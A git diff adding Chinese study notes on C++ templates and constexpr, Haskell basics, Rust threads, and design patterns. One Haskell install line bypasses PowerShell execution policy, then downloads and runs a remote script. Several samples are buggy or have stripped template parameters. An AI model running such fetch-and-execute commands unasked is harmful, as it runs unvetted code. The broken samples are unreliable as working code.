C++](https://github.com/fffaraz/awesome-cpp). +- [Awesome Modern C++](https://github.com/rigtorp/awesome-modern-cpp). +- [C++ Quiz](https://cppquiz.org/). + +## 书籍 + +- *现代 C++ 白皮书 - Bjarne Stroustrup*. +- . diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\217\257\345\217\230\345\217\202\346\225\260\346\250\241\346\235\277.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\217\257\345\217\230\345\217\202\346\225\260\346\250\241\346\235\277.md" new file mode 100644 index 000000000..aece6819c --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\345\217\257\345\217\230\345\217\202\346\225\260\346\250\241\346\235\277.md" @@ -0,0 +1,83 @@ +# 可变参数模板 + +**英文**: Veriadic Templates. +**标准**: C++11. + +## 参数解包 + +### 递归模板函数 + +```cpp +template +void print(const T& arg, const Args&... args) +{ + std::cout << arg; + print(args...); +} + +void print() +{ + std::cout << std::endl; +} + +int main() +{ + print("1+2=", 1+2); // 1+2=3 + return 0; +} +``` + +可变参数模板将通过递归的方式对参数进行解析: + +- print("1+2=", 1+2) +- print("1+2=") +- print(1+2) +- print() + +可通过 `sizeof...(args)` 来获取可变参数 `args` 的类型参数个数, 因此上述实现还可以写为: + +```cpp +template +void print(const T& arg, const Args&... args) +{ + std::cout << arg; + if constexpr (sizeof...(args) > 0) + print(args...); + else + std::cout << std::endl; +} +``` + +!!! tip + constexpr if 为 C++17 引入的语法. + +### 初始化列表展开 + +```cpp +template +void print(const T& arg, const Args&... args) +{ + std::cout << arg; + (void)std::initializer_list{[&args] { + std::out << args << std::endl; + }(), arg)...}; +} +``` + +## 其他 + +```cpp +template +void print(const T& arg, const Args&... args) +{ + // ... +} + +template +void print(const Args&... args) +{ + // ... +} +``` + +上面的实现是可以通过编译的, 即使出现了参数数量大于等于 2 的调用语句. diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\347\274\226\350\257\221\346\227\266\350\277\220\350\241\214\345\207\275\346\225\260.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\347\274\226\350\257\221\346\227\266\350\277\220\350\241\214\345\207\275\346\225\260.md" new file mode 100644 index 000000000..9715234af --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/C++/\347\274\226\350\257\221\346\227\266\350\277\220\350\241\214\345\207\275\346\225\260.md" @@ -0,0 +1,20 @@ +# 编译时运行函数 + +**标准**: C++14, C++20, C++23. + +相关的关键字: + +- constexpr: 可以在编译时计算. +- consteval: 必须在编译时计算. + +## constexpr + +1. C++14 + + - 支持在函数中使用变量/for循环. + +2. C++20 + + - `std::is_constant_evaluated()` 可以用于判断当前是在进行编译时计算还是运行时计算. + - 支持 `std::vector`/`std::string`/`std::map`. + - 支持 `new`. diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/README.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/README.md" new file mode 100644 index 000000000..801af6c7b --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/README.md" @@ -0,0 +1,37 @@ +# Haskell + +- 系列视频: [Haskell for Imperative Programmers - YouTube](https://www.youtube.com/playlist?list=PLe7Ei6viL6jGp1Rfu0dil1JH1SHk9bgDV). + +本文将在合适的地方添加 Rust 代码, 作为命令式编程范式的对照. 因为该语言受 Haskell 影响较大. + +- . + +## ToC + +| 主题 | +| --------------------------------------------------- | +| [函数, let & where](函数,_let_&_where.md) | +| [递归, 守卫表达式, 模式](递归,_守卫表达式,_模式.md) | +| [柯里化和部分应用](柯里化和部分应用.md) | +| [类型](类型.md) | +| [函数复合](函数复合.md) | + +## 安装 + +```ps1 +scoop install msys2 +Set-ExecutionPolicy Bypass -Scope Process -Force;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; try { & ([ScriptBlock]::Create((Invoke-WebRequest https://www.haskell.org/ghcup/sh/bootstrap-haskell.ps1 -UseBasicParsing))) -Interactive -DisableCurl } catch { Write-Error $_ } +``` + +## 资源 + +- [Haskell CheatSheet](https://cheatsheet.codeslower.com/CheatSheet.pdf). + +--- + +Rust 在类型系统方面受到了 Haskell 的影响. 如果曾学习过 Rust, 则可以加速 Haskell 这方面的内容的学习. +下面列举了它们之间的一些相似之处: + +- Haskell 的 `data` 类似 Rust 的 `enum`. +- Haskell 的 `class` 类似 Rust 的 `trait`. +- Haskell 的 `instance` 类似 Rust 的 `impl`. diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/assets/Left-fold-transformation.png" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/assets/Left-fold-transformation.png" new file mode 100644 index 000000000..cb39f63e0 Binary files /dev/null and "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/assets/Left-fold-transformation.png" differ diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/assets/Right-fold-transformation.png" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/assets/Right-fold-transformation.png" new file mode 100644 index 000000000..19fbe0ca5 Binary files /dev/null and "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/assets/Right-fold-transformation.png" differ diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\345\207\275\346\225\260,_let_&_where.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\345\207\275\346\225\260,_let_&_where.md" new file mode 100644 index 000000000..a8809fe7e --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\345\207\275\346\225\260,_let_&_where.md" @@ -0,0 +1,87 @@ +# 函数, let & where + +## 函数 (Functions) + +定义函数的语法: + +```txt +name arg1 arg2 ... argn = +``` + +函数体是一个表达式, 该表达式的值就是该函数的返回值. + +```hs +in_range min max x = min <= x && x <= max +``` + +```console +ghci> in_range 0 5 3 +True +ghci> in_range 4.0 5.0 3.0 +False +``` + +近似的命令式代码如下: + +```rs +fn in_range(min: T, max: T, x: T) -> bool { + min <= x && x <= max +} +``` + +## Let + +关键字 `let`[^let] 用于声明变量: + +```hs +in_range min max x = + let in_lower_bound = min <= x + in_upper_bound = max >= x + in + in_lower_bound && in_upper_bound +``` + +Haskell 对缩进有着严格的限制, 此处 `in_lower_bound` 与 `in_upper_bound` 必须有缩进, 且开头垂直对齐. + +## Where + +使用 `where`[^where] 关键字可以实现和 `let` 关键字相似的功能: + +```hs +in_range min max x = in_lower_bound && in_upper_bound + where + in_lower_bound = min <= x + in_upper_bound = max >= x +``` + +但使用守卫表达式时, 在不同分支内需要使用同一个变量时, 只能使用 `where` 而无法使用 `let`. +它们的区别并不仅限于绑定变量语句的位置, 详情请参见 [HaskellWiki](https://wiki.haskell.org/Let_vs._Where). + +## If + +关键字 `if`[^if] 与命令式编程语言相似, 用于创建分支: + +```hs +in_range min max x = + if in_lower_bound then in_upper_bound else False + where + in_lower_bound = min <= x + in_upper_bound = max >= x +``` + +## Infix + +中缀运算符关键字 `` ` ``[^infix]. + +```console +ghci> add x y = x + y +ghci> add 10 20 +30 +ghci> 10 `add` 20 +30 +``` + +[^let]: +[^where]: +[^if]: +[^infix]: diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\345\207\275\346\225\260\345\244\215\345\220\210.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\345\207\275\346\225\260\345\244\215\345\220\210.md" new file mode 100644 index 000000000..484ae0317 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\345\207\275\346\225\260\345\244\215\345\220\210.md" @@ -0,0 +1,55 @@ +# 函数复合 + +**英文**: Function composition. + +由于在 Haskell 中, 函数应用是左结合, 因此嵌套调用函数时就需要不断添加括号, 导致代码可读性降低: + +```hs +f (g (h x)) +``` + +## 组合运算符 + +Haskell 提供了复合运算符: + +```hs +(.) :: (b -> c) -> (a -> b) -> a -> c +f . g => (\x -> f (g x)) +``` + +使用复合运算符可以对上面的代码进行简化: + +```hs +f . g . h x +=> ((f . g) . h) x +=> ((\x -> f (g x)) . h) x +=> (\x -> f (g (h x))) x +=> f (g (h x)) +``` + +除了提高可读性, 复合运算符还可以用于构建复合函数: + +```hs +desort = (reverse . sort) +``` + +Haskell 中的升序排序函数 `sort` 结合反转函数 `reverse`, 即可实现降序排序函数. + +## 应用运算符 + +```hs +($) :: (a -> b) -> a -> b +f $ x = f x +``` + +应用运算符的特殊之处在于其**优先级最低**, 因此任何 `a $ b` 都可以被视作 `(a) $ (b)` 从而省略括号, 提高代码的可读性. + +```hs +f $ g $ h x +=> (f) (g $ h x) +=> f (g (h x)) +``` + +## 参见 + +- . diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\345\210\227\350\241\250.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\345\210\227\350\241\250.md" new file mode 100644 index 000000000..e3689b306 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\345\210\227\350\241\250.md" @@ -0,0 +1,112 @@ +# 列表 + +Haskell 中的列表是通过**单项链表**实现的. + +## 基础操作 + +### 从头部添加元素 + +可以利用构造运算符添加元素到列表的头部: + +```console +ghci> 1 : 2 : 3 : [] +[1,2,3] +``` + +### 合并列表 + +```console +ghci> [1, 2] ++ [3, 4] +[1,2,3,4] +``` + +### 追加元素 + +```console +ghci> x = 3 +ghci> [1, 2] ++ [x] +[1,2,3] +``` + +## 常用函数 + +```console +ghci> head [1, 2, 3] +1 +ghci> tail [1, 2, 3] +[2,3] +ghci> length [1, 2, 3] +3 +ghci> init [1, 2, 3] +[1,2] +ghci> null [1, 2, 3] +False +ghci> null [] +True +ghci> and [True, False, True] +False +ghci> or [True, False, True] +True +``` + +## 字符串 + +与 C 语言类似, Haskell 中的字符串是由字符组成的列表. + +```console +ghci> ['h', 'i'] +"hi" +ghci> "hello" ++ " world!" +"hello world!" +``` + +## 列表推导(List comprehension) + +列表推导类似数学中的集合建构式符号(set-builder notation). + +```txt +[ | <- , ..., , ... ] +``` + +## 习题 + +### 1 + +创建函数 `elem`, 如果指定元素在列表中返回 True, 否则返回 False. + +```hs +elem :: (Eq a) => a -> [a] -> Bool +``` + +```hs +elem e [] = False +elem e (x:xs) = (e == x) || (elem e xs) +``` + +### 2 + +创建函数 `nub`, 移除指定列表中的全部重复元素. + +```hs +nub :: (Eq a) => [a] -> [a] +``` + +```hs +nub [] = [] +nub (x:xs) + | elem x xs = nub xs + | otherwise = x : nub xs +``` + +### 3 + +创建函数 `isAsc`, 如果指定列表成升序排列返回 True. + +```hs +isAsc :: [Int] -> Bool +``` + +```hs +isAsc [_] = True +isAsc (x:y:xs) = (x <= y) && isAsc (y : xs) +``` diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\346\212\230\345\217\240.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\346\212\230\345\217\240.md" new file mode 100644 index 000000000..afeca0db2 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\346\212\230\345\217\240.md" @@ -0,0 +1,26 @@ +# 折叠 + +**英文**: Folding. + +```hs +foldl :: Foldable t => (b -> a -> b) -> b -> t a -> b +foldr :: Foldable t => (a -> b -> b) -> b -> t a -> b + +foldl1 :: Foldable t => (a -> a -> a) -> t a -> a +foldr1 :: Foldable t => (a -> a -> a) -> t a -> a +``` + +类似 C++ 的 `std::ranges::fold_left` 和 `std::ranges::fold_right`. + +```hs +sum' = foldl (+) 0 +and' = foldl1 (&&) True +or' = foldl1 (||) False +``` + +![](assets/Left-fold-transformation.png) +![](assets/Right-fold-transformation.png) + +## 参考 + +- . diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\346\237\257\351\207\214\345\214\226\345\222\214\351\203\250\345\210\206\345\272\224\347\224\250.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\346\237\257\351\207\214\345\214\226\345\222\214\351\203\250\345\210\206\345\272\224\347\224\250.md" new file mode 100644 index 000000000..8cd2b18fd --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\346\237\257\351\207\214\345\214\226\345\222\214\351\203\250\345\210\206\345\272\224\347\224\250.md" @@ -0,0 +1,71 @@ +# 柯里化和部分应用 + +## 柯里化 (Currying) + +柯里化是将单个拥有多个参数的函数转变为多个拥有单个参数的函数. + +柯里化可以解释 Haskell 以及其他函数式编程语言 (如 OCaml) 和命令式编程语言在语法上的一些区别: + +1. Haskell 的函数类型声明没有特别区分参数与返回值类型. +2. Haskell 中调用函数不需要使用括号包裹参数. + +```hs +min :: Ord a => a -> a -> a +min x y = if x <= y then x else y +``` + +关键字 `->`[^1] 用于构造函数参数. 该运算符是**右结合**的, 即上面的函数声明实际上是: + +```hs +min :: Ord a => a -> (a -> a) +``` + +这表明 `min` 函数首先接受一个参数, 并返回一个函数, 该返回的函数再接受第二个参数. `min` 函数的完整应用过程如下: + +```hs +min 1 2 +=> (min 1) 2 -- Haskell 中的函数应用是左结合的 +=> (\y -> if 1 <= y then 1 else y) 2 +=> if 1 <= 2 then 1 else 2 +=> 1 +``` + +通过命令式语言实现 `min` 函数如下: + +```rs +fn min(x: T) -> impl Fn(T) -> T { + move |y| if x < y { x } else { y } +} +``` + +可以通过 `min(1)(2)` 对其进行调用. [完整代码](https://play.rust-lang.org/?version=stable&mode=debug&edition=2021&gist=051ff6b05a917e95de7f10ba15344b0e). + +## 部分应用 (Partial application) + +得益于柯里化, Haskell 中的函数支持部分应用: + +```hs +min 5 +=> (\y -> if 5 <= y then 5 else y) +``` + +```console +ghci> f = min 5 +ghci> :t f +f :: (Ord a, Num a) => a -> a +ghci> f 3 +3 +ghci> f 7 +5 +``` + +与 C++ 中的 [std::bind](https://en.cppreference.com/w/cpp/utility/functional/bind) 相比, 部分应用不能跳过或对参数进行重新排序. + +部分应用可以用于简化代码, 同时增加代码的可读性: + +```hs +map (\x -> x * x) [1..] +map (^2) [1..] +``` + +[^1]: diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\347\261\273\345\236\213.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\347\261\273\345\236\213.md" new file mode 100644 index 000000000..63e8cbe6a --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\347\261\273\345\236\213.md" @@ -0,0 +1,143 @@ +# 类型 + +## 基本类型 + +| 类型 | 描述 | +| --------- | ------------------ | +| `Int` | 64 位整数. | +| `Word` | 64 位无符号整数. | +| `Integer` | 任意大小整数. | +| `Float` | 32 位浮点数. | +| `Double` | 64 位浮点数. | +| `Char` | 一个 Unicode 字符. | +| `Bool` | | + +## 聚合类型 + +- 元组 (Tuple). +- 列表 (List). +- Tagged union. + +在 GHCi 中, 可以使用 `:type` 或 `:t` 查看表达式的类型: + +```console +ghci> :t min +min :: Ord a => a -> a -> a +``` + +## 类型注释 + +Haskell 允许通过关键字 `::`[^::] 为表达式添加**类型签名 (type signature)** 注释: + +```hs +expr :: +``` + +```console +ghci> [1, 2, 3] :: [Integer] +[1,2,3] +``` + +可以利用该语法为函数 `in_range` 添加类型签名: + +```hs +in_range :: Integer -> Integer -> Integer -> Bool +in_range min max x = min <= x && x <= max +``` + +该 `in_range` 函数只能接受 `Integer` 类型的参数. + +也可以使用该语法判断表达式的类型: + +```console +ghci> [True] :: [Bool] +[True] +ghci> _ = min :: Ord a => a -> a -> a +``` + +## 类型多态 (Type polymorphism) + +Haskell 是强类型的 (strongly typed), 但部分函数 (如 `fst`) 却支持不同类型的参数: + +```hs +ghci> fst ('a', False) +'a' +ghci> fst (1, 2.0) +1 +``` + +这是通过类型多态实现的, `fst` 函数的类型签名为: `fst :: (a, b) -> a`. +其中的 `a` 和 `b` 是类型变量, `(a, b)` 表示接受一个包含任意类型的二元组参数, 返回值必须与该二元组的第一个元素类型相同. + +## 类型类 (Type class) + +Haskell 的类型类类似于 Rust 的特征 (Trait). + +类型类用于为多态类型添加限制. + +```console +ghci> :t div +div :: Integral a => a -> a -> a +ghci> :t (/) +(/) :: Fractional a => a -> a -> a +ghci> 5 `div` 2 +2 +ghci> 5 / 2 +2.5 +``` + +因为 Haskell 不支持隐式类型转换, 意味着上面代码中的数字 `5` 和 `2` 同时满足 `Integral` 和 `Fractional` 两个限制. +这是因为 Haskell 中的数字默认是 `Num` 类型类, 在具体使用时才会转换为合适的具体类型. + +```console +ghci> :t 1 +1 :: Num a => a +``` + +在 GHCi 中, 可以使用 `:info` 或 `:i` 查看类型类的类信息: + +```console +ghci> :i Num +type Num :: * -> Constraint +class Num a where + (+) :: a -> a -> a + (-) :: a -> a -> a + (*) :: a -> a -> a + negate :: a -> a + abs :: a -> a + signum :: a -> a + fromInteger :: Integer -> a + {-# MINIMAL (+), (*), abs, signum, fromInteger, (negate | (-)) #-} + -- Defined in `GHC.Num' +instance Num Double -- Defined in `GHC.Float' +instance Num Float -- Defined in `GHC.Float' +instance Num Int -- Defined in `GHC.Num' +instance Num Integer -- Defined in `GHC.Num' +instance Num Word -- Defined in `GHC.Num' +``` + +## 添加新类型 + +- `type`: 为类型指定别名. +- `data`: 创建新的类型. + +### 数据类型 (Data type) + +Haskell 中的 Tagged union 数据类型, 与 Rust 当中的枚举类型 (Enumerated types) 相似. + +```hs +data Option a = None | Some(a) + deriving (Eq, Show) +``` + +可以使用 `deriving` 为类型自动添加指定类类型的实现, 与 Rust 中的 `derive` 宏相似. + +### 类型别名 + +可以使用 `type`[^type] 关键字为类型添加别名, 也被称为类型同义词 (type synonyms). + +```hs +type String = [Char] +``` + +[^type]: diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\351\200\222\345\275\222,_\345\256\210\345\215\253\350\241\250\350\276\276\345\274\217,_\346\250\241\345\274\217.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\351\200\222\345\275\222,_\345\256\210\345\215\253\350\241\250\350\276\276\345\274\217,_\346\250\241\345\274\217.md" new file mode 100644 index 000000000..694dad90d --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Haskell/\351\200\222\345\275\222,_\345\256\210\345\215\253\350\241\250\350\276\276\345\274\217,_\346\250\241\345\274\217.md" @@ -0,0 +1,116 @@ +# 递归, 守卫表达式, 模式 + +## 递归 (Recursion) + +函数式编程不存在类似 `for` 的循环语句, 因为这类循环通常需要可变变量, 但函数式编程不存在可变变量. +因此函数式编程使用**递归**而非**迭代**. + +下面实现阶乘函数 `factorial`: + +```hs +factorial n = + if n <= 1 then + 1 + else + n + factorial(n - 1) +``` + +近似的命令式代码如下: + +```rust +fn factorial(n: u32) -> u32 { + if n <= 1 { + 1 + } else { + n * factorial(n - 1) + } +} +``` + +### 互递归 (Mutual recursion) + +```hs +even' 0 = True +even' n = odd' (n - 1) + +odd' 0 = False +odd' n = even' (n - 1) +``` + +```hs +even' 0 = True +even' 1 = False +even' n = even' (n - 2) +``` + +## 守卫表达式 (Guards) + +```hs +factorial n + | n <= 1 = 1 + | otherwise = n * fac(n - 1) +``` + +其中 `otherwise` 是 `True` 的同义词: + +```console +ghci> otherwise +True +``` + +如果之前的表达式都为 `False`, 最后的 `otherwise` 可以用于处理其他剩余情况. +类似于命令式编程语言里 `switch` 语句中的 `default`, 或者 Rust 语言 `match` 语句中的 `_` 表达式. + +## 模式 (Patterns) + +```hs +is_zero 0 = True +is_zero _ = False +``` + +模式匹配将从上向下寻找第一个匹配的模式, 所以下面的 `is_zero` 函数将永远返回 `False`: + +```hs +is_zero _ = False +is_zero 0 = True +``` + +```hs +factorial 0 = 1 +factorial 1 = 1 +factorial n = n * factorial (n - 1) +``` + +与上面的实现方法相比, 由于该 `factorial` 函数实现缺少对 n 为负数情况的处理, 但 n 为负数时将导致无限循环. +与 `if` 和守卫表达式相比, 模式匹配只能匹配具体的值, 无法编写表达式. + +### 例子 + +函数 `drop'` 用于 "丢弃" 列表中的前 n 个元素, 并返回剩余元素: + +```hs +drop' 0 xs = xs +drop' n [] = [] +drop' n (_:xs) = drop' (n - 1) xs +``` + +函数 `maximum'` 用于求列表中的最大值: + +```hs +maximum' [] = error "Cannot be called on an empty list" +maximum' [x] = x +maximum' (x:xs) = if x > maximum' xs then x else maximum' xs +``` + +上述代码中的 `(x:y:xs)` 模式匹配只能在**编译时**决定从列表中提取元素的数量. +如果需要在**运行时**指定可以借助 `take` 和 `drop` 函数来实现: + +```hs +group n [] = [] +group n xs = + let + first = take n xs + rest = drop n xs + in + first : group n rest +``` diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Rust/README.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Rust/README.md" new file mode 100644 index 000000000..e2bf76acb --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Rust/README.md" @@ -0,0 +1,8 @@ +# Rust + +## Rust Atomics and Locks + +| 标题 | +| ----------------------- | +| [并发基础](并发基础.md) | +| [原子](原子.md) | \ No newline at end of file diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Rust/\345\216\237\345\255\220.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Rust/\345\216\237\345\255\220.md" new file mode 100644 index 000000000..c6412783f --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Rust/\345\216\237\345\255\220.md" @@ -0,0 +1,5 @@ +# 原子 + +**英文**: Atomic. + +原子 (Atomic) 一词源于希腊语 ἄτομος, 意为不可再分的. diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Rust/\345\271\266\345\217\221\345\237\272\347\241\200.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Rust/\345\271\266\345\217\221\345\237\272\347\241\200.md" new file mode 100644 index 000000000..9e398b01f --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/Rust/\345\271\266\345\217\221\345\237\272\347\241\200.md" @@ -0,0 +1,79 @@ +# 并发基础 + +## 线程 + +与 C++ 的 `std::thread::thread` 类似, Rust 也可以通过函数 [`std::thread::spawn`] 来创建线程. + +返回的 [JoinHandle] 在被释放后会分离, 如果此时主线程结束, 也将导致线程被强制结束. 可以通过调用其 `join` 函数来堵塞调用者线程, 并等待该线程结束. + +```rs +use std::thread; + +fn main() { + let t1 = thread::spawn(f); + let t2 = thread::spawn(f); + + println!("Main thread"); + + t1.join().unwrap(); + t2.join().unwrap(); +} + +fn f() { + let id = thread::current().id(); + println!("Thread id: {id:?}"); +} +``` + +```txt +Main thread +Thread id: ThreadId(2) +Thread id: ThreadId(3) +``` + +Rust 的 `println` 宏与 C++ 的 `cout` 一样的同步的, 所以即使在并发执行, 也能保证内容完整 (不被打断) 的输出. + +一种常见的做法是向传递一个闭包: + +```rs +let numbers = vec![1, 2, 3]; + +thread::spawn(move || { + for n in &numbers { + println!("{n}"); + } +}).join().unwrap(); +``` + +如果闭包需要访问外部变量则必须使用 `move` 关键字将变量的所有权移交给闭包. +如果缺省 `move`, 闭包将默认通过引用访问外部变量, 但闭包的作用域和外部变量不一致. + +上面代码创建的线程立即调用了 `join` 函数, 所以不存在外部变量被提前释放的情况. 但 Rust 编译器无法识别这一点, 后续会介绍作用域线程, 可以解决这一问题. + +与 `std::fs::OpenOptions` 类似, 线程也可以通过 [`std::thread::Builder`] 创建. 该方法可以在线程生成前进行一些设置, 比如设置线程的名字, 后续可以在线程内通过 `std::thread::current().name()` 获取. + +[`std::thread::spawn`] 函数的[实现](https://doc.rust-lang.org/src/std/thread/mod.rs.html#672-679)便是通过调用 [`std::thread::Builder`], 并使用默认的设置来生成线程. + +## 作用域线程 (Scoped threads) + +```rs +let numbers = vec![1, 2, 3]; + +thread::scope(|s| { + s.spawn(|| { + println!("length: {}", numbers.len()); + }); + s.spawn(|| { + for n in &numbers { + println!("{n}"); + } + }); +}); +``` + +使用作用域线程则无需转移外部变量的所有权, 因为所创建的线程都将自动 `join`. + +[`std::thread::spawn`]: https://doc.rust-lang.org/std/thread/fn.spawn.html +[JoinHandle]: https://doc.rust-lang.org/std/thread/struct.JoinHandle.html + +[`std::thread::Builder`]: https://doc.rust-lang.org/std/thread/struct.Builder.html diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\345\215\225\344\276\213\346\250\241\345\274\217.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\345\215\225\344\276\213\346\250\241\345\274\217.md" new file mode 100644 index 000000000..488421415 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\345\215\225\344\276\213\346\250\241\345\274\217.md" @@ -0,0 +1,70 @@ +# 单例模式 + +**英文**: Singleton pattern. +**别名**: 单例模式/单件模式. + +## 描述 + +确保一个类只有一个实例, 并提供一个全局指针用于访问实例. + +## 优点 + +- 初始化顺序可控的全局变量. 全局变量初始化顺序不可控, 因此有全局变量的类的构造函数中不应该访问全局变量, 因为它们可能还未被初始化. (适用于 C++) + +## 缺点 + +- 是全局变量, 可能提高代码耦合度. +- 并发不友好, 可能同时被多个线程读取和修改. + +## 提示 + +- 可以被继承. +- 若初始化时间较长, 为避免性能问题, 可以提前初始化. + +## 实现 + +- 第一次获取实例时初始化, 被称为`懒汉式`. + + 初始化顺序可控, C++11及之后线程安全, C++11之前线程不安全. + **出处**: 该方法由 Scott Meyer 在 *Effective C++* 一书中提出. + + ```cpp + class Singleton + { + public: + Singleton(const Singleton&) = delete; + Singleton operator=(const Singleton&) = delete; + + static Singleton& get() + { + static Singleton instance; + return instance; + } + + private: + Singleton() = default; + }; + ``` + +- 作为全局变量初始化, 被称为`饿汉式`. + + 初始化顺序不可控, 线程安全. + + ```cpp + class Singleton + { + public: + static Singleton& get() + { + return *instance; + } + + private: + Singleton() = default; + + static Singleton *instance; + }; + + Singleton* Singleton::instance = new Singleton(); + ``` + \ No newline at end of file diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\345\221\275\344\273\244\346\250\241\345\274\217.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\345\221\275\344\273\244\346\250\241\345\274\217.md" new file mode 100644 index 000000000..09bb5ad03 --- /dev/null +++ "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\345\221\275\344\273\244\346\250\241\345\274\217.md" @@ -0,0 +1,66 @@ +# 命令模式 + +**英文**: Command pattern. + +## 描述 + +将请求封装为对象. + +## 优点 + +- 将请求的操作与请求的接收者解耦, 比如: 并发编程分配任务给线程. +- 使得请求可以参数化被队列保存, 比如: 支持撤销操作(undoable operations). + +## 缺点 + +- 如果命令种类繁多, 可能导致具体命令类数量过多. + +## 实现 + +- 将请求已队列形式存储并支持撤销操作. + +```cpp +class Command +{ +public: + virtual ~Command() = default; + + virtual void exec() = 0; + virtual void undo() = 0; +}; + +class CommandQueue +{ +public: + void exec(std::unique_ptr cmd) + { + assert(cmd != nullptr); + + undos.clear(); + cmd->exec(); + commands.emplace_back(std::move(cmd)); + } + + void undo() + { + assert(!commands.empty()); + + commands.back()->undo(); + undos.emplace_back(std::move(commands.back())); + commands.pop_back(); + } + + void redo() + { + assert(!undos.empty()); + + undos.back()->exec(); + commands.emplace_back(std::move(undos.back())); + undos.pop_back(); + } + +private: + std::vector> commands; // 已执行的命令 + std::vector> undos; // 已撤销的命令 +}; +``` diff --git "a/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\345\273\272\351\200\240\350\200\205\346\250\241\345\274\217.md" "b/docs/\347\250\213\345\272\217\350\256\276\350\256\241\350\257\255\350\250\200/\350\256\276\350\256\241\346\250\241\345\274\217/\345\273\272\351\200\240\350\200\205\346\250\241\345\274\217.md" new file mode 100644 index 000000000..80b2630ee --- /dev/null +++ 